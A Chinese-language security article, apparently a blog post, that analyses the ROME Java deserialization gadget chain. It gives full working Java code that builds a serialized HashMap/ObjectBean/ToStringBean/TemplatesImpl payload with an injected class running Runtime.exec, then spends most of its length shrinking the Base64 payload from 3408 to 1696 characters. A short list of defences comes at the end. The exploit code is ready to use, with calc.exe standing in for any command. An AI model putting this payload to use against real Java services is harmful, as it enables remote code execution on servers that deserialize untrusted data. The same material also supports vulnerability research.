ROME链分析与Payload终极缩小-JAVA反序列化
字数 1051 2025-08-29 08:31:42
Java反序列化漏洞分析:ROME链与Payload最小化技术
前言
ROME链是Java反序列化漏洞利用链的一种,与Commons Collections 2 (CC2)链类似,都是通过配合TemplatesImpl实现代码注入。本文将详细分析ROME链的工作原理,并探讨如何将生成的Payload进行最小化优化。
环境搭建
所需依赖
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
</dependencies>
关键组件
- ROME库:提供ObjectBean和ToStringBean类
- Javassist:用于动态生成恶意类字节码
- TemplatesImpl:最终执行恶意代码的载体
漏洞链分析
完整调用链
* HashMap<K,V>.readObject(ObjectInputStream)
* HashMap<K,V>.hash(Object)
* ObjectBean.hashCode()
* EqualsBean.beanHashCode()
* ObjectBean.toString()
* ToStringBean.toString()
* ToStringBean.toString(String)
* Method.invoke(Object, Object...)
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* TemplatesImpl.getOutputProperties()
关键点说明
- 入口点:HashMap的readObject方法,这是Java反序列化的常见入口
- 触发路径:通过HashMap的hash方法调用ObjectBean的hashCode
- 简化路径:可以直接将_obj设置为ToStringBean,跳过ObjectBean.toString()
- 关键调用:ToStringBean.toString()会反射调用对象的getter方法
- 最终执行:通过TemplatesImpl的getOutputProperties方法触发代码执行
Payload构造
基础Payload构造
public class BasicPayload {
public static void main(String[] args) throws Exception {
// 1. 使用Javassist创建恶意类
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(Evil.class.getName());
byte[] bytes = ctClass.toBytecode();
// 2. 设置TemplatesImpl
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
// 3. 构造ROME链
ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
// 4. 放入HashMap触发
Map hashMap = new HashMap();
hashMap.put(objectBean, "x");
// 序列化
ByteArrayOutputStream bs = unSerial(hashMap);
}
}
Payload最小化技术
1. Javassist优化
原始方式生成的类较大,可以通过以下方式优化:
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
优化点:
- 使用简短的类名"i"
- 直接设置类初始化器,省略try-catch块
- 最小化字节码结构
2. 删除冗余字段
通过反射删除不影响反序列化过程的字段:
setFieldValue(objectBean, "_cloneableBean", null);
setFieldValue(objectBean, "_toStringBean", null);
3. 最终优化后的Payload
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class OptimizedPayload {
public static void main(String[] args) throws Exception {
// 1. 最小化恶意类
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();
// 2. 设置TemplatesImpl
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
// 3. 构造最小化ROME链
ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
// 4. 删除冗余字段
setFieldValue(objectBean, "_cloneableBean", null);
setFieldValue(objectBean, "_toStringBean", null);
// 5. 放入HashMap
Map hashMap = new HashMap();
hashMap.put(objectBean, "x");
// 6. 序列化并输出Base64
ByteArrayOutputStream bs = unSerial(hashMap);
Base64Encode(bs);
}
// 辅助方法保持不变
private static ByteArrayOutputStream unSerial(Map hashMap) throws Exception {
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(hashMap);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
in.readObject();
in.close();
return bs;
}
private static void Base64Encode(ByteArrayOutputStream bs) {
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
优化效果
- 原始Payload大小:3408字符(Base64编码后)
- 初步优化后:1932字符
- 最终优化后:1696字符
技术要点总结
- ROME链核心:利用ToStringBean的toString方法反射调用getter
- TemplatesImpl利用:通过_bytecodes注入恶意字节码
- 最小化原则:
- 使用最短的类名和方法名
- 删除所有不必要的字段和结构
- 精简字节码生成逻辑
- 关键反射点:必须保留影响反序列化路径的字段,其余可删除
防御建议
- 升级ROME库到安全版本
- 使用反序列化过滤器(ObjectInputFilter)
- 禁止反序列化不可信数据
- 使用白名单机制控制可反序列化的类
通过本文的分析,我们深入理解了ROME反序列化漏洞链的工作原理,并掌握了Payload最小化的关键技术,这对于漏洞研究和防御都具有重要意义。